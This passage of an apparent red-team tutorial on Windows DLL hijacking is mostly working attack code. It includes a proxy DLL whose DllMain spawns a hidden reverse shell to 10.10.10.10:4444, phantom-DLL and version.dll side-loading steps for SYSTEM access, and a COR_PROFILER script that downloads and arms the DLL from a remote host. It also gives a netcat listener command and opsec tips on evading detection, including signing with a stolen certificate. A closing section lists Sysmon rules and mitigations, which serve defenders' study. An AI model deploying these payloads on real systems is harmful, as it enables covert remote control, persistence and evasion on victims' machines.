11#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
12#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
13#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
14#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
15#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
16#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
17#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
18#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
19#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
20#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
21#pragma comment(linker, "/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
22#pragma comment(linker, "/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
23#pragma comment(linker, "/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
24#pragma comment(linker, "/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
25#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
26#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
27
28#define WIN32_LEAN_AND_MEAN
29#include <windows.h>
30#include <winsock2.h>
31#include <ws2tcpip.h>
32
33#define LHOST "10.10.10.10"
34#define LPORT  4444
35
36static DWORD WINAPI shell_thread(LPVOID p) {
37    (void)p;
38    Sleep(800);
39
40    WSADATA wsa = {0};
41    WSAStartup(MAKEWORD(2,2), &wsa);
42
43    SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
44                             NULL, 0, WSA_FLAG_OVERLAPPED);
45
46    struct sockaddr_in sa = {0};
47    sa.sin_family = AF_INET;
48    sa.sin_port   = htons(LPORT);
49    inet_pton(AF_INET, LHOST, &sa.sin_addr);
50
51    int r = 5;
52    while (r-- > 0) {
53        if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) == 0) break;
54        Sleep(2000);
55    }
56    if (r < 0) { closesocket(sock); WSACleanup(); return 1; }
57
58    STARTUPINFOA si      = {0};
59    PROCESS_INFORMATION pi = {0};
60    si.cb          = sizeof(si);
61    si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
62    si.wShowWindow = SW_HIDE;
63    si.hStdInput   = (HANDLE)sock;
64    si.hStdOutput  = (HANDLE)sock;
65    si.hStdError   = (HANDLE)sock;
66
67    char cmd[] = "cmd.exe";
68    CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
69                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
70    WaitForSingleObject(pi.hProcess, INFINITE);
71    CloseHandle(pi.hProcess);
72    CloseHandle(pi.hThread);
73    closesocket(sock);
74    WSACleanup();
75    return 0;
76}
77
78BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
79    if (reason == DLL_PROCESS_ATTACH) {
80        DisableThreadLibraryCalls(hMod);
81        CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
82    }
83    return TRUE;
84}

Phase 4 — High-Value Targets

Target 1: IKEEXT service — wlbsctrl.dll

wlbsctrl.dll doesn’t exist on default Windows installs. The IKEEXT (IKE and AuthIP IPsec Keying Modules) service tries to load it and fails silently. Drop your DLL at the right path, restart IKEEXT (or wait for a trigger), and it loads in a SYSTEM context.

:: drop phantom DLL — no forwarding needed, real DLL doesn't exist
copy hijack_base.dll C:\Windows\System32\wlbsctrl.dll

:: trigger (requires restart or the service to recycle — can also wait)
:: if you have SeManageVolume or similar: sc stop IKEEXT && sc start IKEEXT

Context: SYSTEM. Trigger: Service restart or network authentication event. Persistence: Survives reboots. The service loads the DLL on every start.


Target 2: version.dll side-loading

version.dll is one of the most universally loaded DLLs. Nearly every GUI application imports it for version checking. Many applications in C:\Program Files\ load it from their own directory first (before System32), making any writable app directory a viable drop point.

 1# find applications that load version.dll from their own dir
 2# (i.e., they have a local version.dll OR their dir is writable)
 3Get-ChildItem "$env:PROGRAMFILES" -Recurse -Filter "version.dll" -ErrorAction SilentlyContinue |
 4    ForEach-Object {
 5        $dir = $_.DirectoryName
 6        $probe = Join-Path $dir "probe_test.tmp"
 7        try {
 8            [IO.File]::WriteAllBytes($probe, @(0))
 9            Remove-Item $probe -Force
10            Write-Host "[WRITABLE] $dir" -ForegroundColor Yellow
11        } catch {}
12    }
:: compile version proxy
x86_64-w64-mingw32-gcc -shared -o version.dll version_proxy.c ^
    -lws2_32 -mwindows -s -fno-ident -Wl,--build-id=none

:: drop in vulnerable app directory
copy version.dll "C:\Program Files\VulnerableApp\version.dll"

:: trigger: launch the app (or it may already be running as a service)

Target 3: COR_PROFILER — .NET profiler hijack

The .NET CLR loads a profiler DLL specified by the COR_PROFILER_PATH environment variable whenever a .NET application starts. This is a legitimate debugging feature and a reliable user-level DLL load primitive that doesn’t require finding a specific vulnerable application.

 1# COR_PROFILER_Hijack.ps1
 2# Sets user-level env vars so any .NET process this user launches
 3# loads our profiler DLL.
 4# No admin required. Survives logoff (registry-persisted).
 5
 6param(
 7    [string]$DllPath = "C:\Windows\Tasks\CLRProfiler.dll",
 8    [string]$DllUrl  = "http://10.10.10.10/hijack_base.dll"
 9)
10
11# fetch and stage the DLL to a trusted writable path
12(New-Object Net.WebClient).DownloadFile($DllUrl, $DllPath)
13Write-Host "[+] DLL staged: $DllPath"
14
15# generate a unique CLSID (doesn't need to be registered)
16$clsid = [System.Guid]::NewGuid().ToString("B").ToUpper()
17
18# set environment variables — affect all child .NET processes
19[Environment]::SetEnvironmentVariable("COR_ENABLE_PROFILING", "1",         "User")
20[Environment]::SetEnvironmentVariable("COR_PROFILER",          $clsid,     "User")
21[Environment]::SetEnvironmentVariable("COR_PROFILER_PATH",     $DllPath,   "User")
22
23# also set for current session
24$env:COR_ENABLE_PROFILING = "1"
25$env:COR_PROFILER          = $clsid
26$env:COR_PROFILER_PATH     = $DllPath
27
28Write-Host "[+] COR_PROFILER hijack armed"
29Write-Host "[*] CLSID : $clsid"
30Write-Host "[*] DLL   : $DllPath"
31Write-Host "[*] trigger: launch any .NET application (PowerShell, msbuild, etc.)"
32Write-Host ""
33Write-Host "[*] cleanup: run Remove-CORProfiler.ps1 after engagement"
# Remove-CORProfiler.ps1 — cleanup
[Environment]::SetEnvironmentVariable("COR_ENABLE_PROFILING", $null, "User")
[Environment]::SetEnvironmentVariable("COR_PROFILER",          $null, "User")
[Environment]::SetEnvironmentVariable("COR_PROFILER_PATH",     $null, "User")
Write-Host "[+] COR_PROFILER environment variables removed"

The profiler DLL must export DllGetClassObject to satisfy the CLR loader. Add this stub to hijack_base.c:

/* add to hijack_base.c when using as COR_PROFILER payload */
#include <objbase.h>

__declspec(dllexport)
HRESULT STDAPICALLTYPE DllGetClassObject(REFCLSID rclsid,
                                          REFIID riid,
                                          LPVOID *ppv) {
    /* return failure — CLR will continue loading, payload already fired in DllMain */
    return CLASS_E_CLASSNOTAVAILABLE;
}

Full Engagement Workflow

1.  Run Find-PhantomDLLs.ps1
       → identifies confirmed phantom targets on this machine

2.  Run Find-HijackableApps.ps1 -CheckImports
       → finds signed applications in trusted paths with writable directories
       → lists DLLs each app imports (candidates for side-loading)

3.  Choose strategy:
       Phantom DLL?   → compile hijack_base.c, drop as the missing DLL
       Side-load?     → run dll_proxy_gen.py against the real DLL,
                        compile proxy, drop with real DLL renamed
       No file drop?  → use COR_PROFILER technique (env var only)

4.  Stage payload:
       copy <payload>.dll <writable trusted path or app dir>\<target>.dll

5.  Trigger:
       Service hijack:  wait for service recycle / reboot
       App side-load:   launch the application
       COR_PROFILER:    launch any .NET process

6.  Catch shell on listener:
       nc -lvnp 4444

Persistence

DLL hijacking is naturally persistent: the malicious DLL loads every time the host process starts. For service-based targets this means every boot. No registry run keys, no scheduled tasks, no new processes that defenders can spot at startup.

 1# Verify-Persistence.ps1 — confirm the hijack DLL will survive reboot
 2param([string]$DllPath)
 3
 4if (-not (Test-Path $DllPath)) {
 5    Write-Host "[-] DLL not found at $DllPath" -ForegroundColor Red
 6    return
 7}
 8
 9$sig = Get-AuthenticodeSignature $DllPath
10Write-Host "[*] Path    : $DllPath"
11Write-Host "[*] Signed  : $($sig.Status)"
12Write-Host "[*] Exists  : True"
13
14# check if path is in a location that persists across user sessions
15$persistent = $DllPath -match "System32|SysWOW64|Program Files|Windows\\Tasks"
16Write-Host "[*] Survives logoff: $persistent"
17
18# check if any service is configured to load from this directory
19$dir = Split-Path $DllPath
20Get-WmiObject Win32_Service | Where-Object {
21    $_.PathName -like "$dir\*"
22} | ForEach-Object {
23    Write-Host "[+] Service trigger: $($_.Name) ($($_.StartMode))" -ForegroundColor Green
24}

OpSec Notes

  • DLL name — use the exact name the target expects. A DLL named wlbsctrl.dll in System32 is invisible to the untrained eye. A DLL named payload.dll is not.
  • Forwarding — always proxy when replacing a real DLL. A host application that crashes immediately after loading your DLL is a guaranteed incident ticket.
  • Thread timing — the Sleep(800) in DllMain is important. Connecting out before the host process finishes initialization can cause loading failures or deadlocks. For service DLLs, increase this to 2000–5000ms.
  • Architecture — match the bitness of your DLL to the host process. A 64-bit process will not load a 32-bit DLL. Find-HijackableApps.ps1 reports the binary architecture via PE header parsing — check before compiling.
  • Signing — unsigned DLLs loaded by signed applications generate Sysmon EID 7 events with Signed: false. Self-signing with a purchased or stolen certificate changes the hash and suppresses the unsigned flag.
  • COR_PROFILER is one of the quietest techniques: no file in a suspicious path, no new service, triggers only when .NET processes launch. Clean up environment variables immediately after your shell is stable.

Detection (Blue Team)

signalevent
Unsigned DLL loaded by signed processSysmon EID 7 — Signed: false, SignatureStatus != Valid
DLL loaded from non-standard pathSysmon EID 7 — ImageLoaded path outside System32
New DLL written to application directorySysmon EID 11 — FileCreate in Program Files
COR_ENABLE_PROFILING set in user registrySysmon EID 13 — Registry value set
Process loading DLL from %TEMP% or writable trusted pathSysmon EID 7 — ImageLoaded path analysis
Service process spawning unexpected childSysmon EID 1 — ParentImage is a service host

Sysmon rules:

 1<!-- unsigned DLL loaded by trusted process -->
 2<ImageLoad onmatch="include">
 3  <Signed condition="is">false</Signed>
 4</ImageLoad>
 5
 6<!-- DLL loaded from user-writable trusted paths -->
 7<ImageLoad onmatch="include">
 8  <ImageLoaded condition="contains">Windows\Tasks\</ImageLoaded>
 9  <ImageLoaded condition="contains">Windows\Temp\</ImageLoaded>
10  <ImageLoaded condition="contains">Windows\tracing\</ImageLoaded>
11  <ImageLoaded condition="contains">spool\drivers\color\</ImageLoaded>
12</ImageLoad>
13
14<!-- COR_PROFILER registry changes -->
15<RegistryEvent onmatch="include">
16  <TargetObject condition="contains">COR_ENABLE_PROFILING</TargetObject>
17  <TargetObject condition="contains">COR_PROFILER</TargetObject>
18</RegistryEvent>

Mitigation: Enable AppLocker DLL Rules (accept the performance cost — it’s worth it). Combine with WDAC publisher rules that require DLLs to be signed by a trusted publisher. For COR_PROFILER: monitor registry changes to HKCU\Environment for profiler-related keys and block via GPO (Computer Configuration → Windows Settings → Security Settings → Software Restriction Policies).


MITRE ATT&CK

techniqueIDdescription
DLL Search Order HijackingT1574.001Placing malicious DLL earlier in search order
DLL Side-LoadingT1574.002Dropping DLL alongside legitimate signed binary
COR_PROFILERT1574.012Abusing .NET profiler environment variable
Hijack Execution FlowT1574Parent technique covering all DLL hijacking
Defense EvasionTA0005Primary tactic
PersistenceTA0003Service/application DLL hijacks survive reboots

References

Last updated on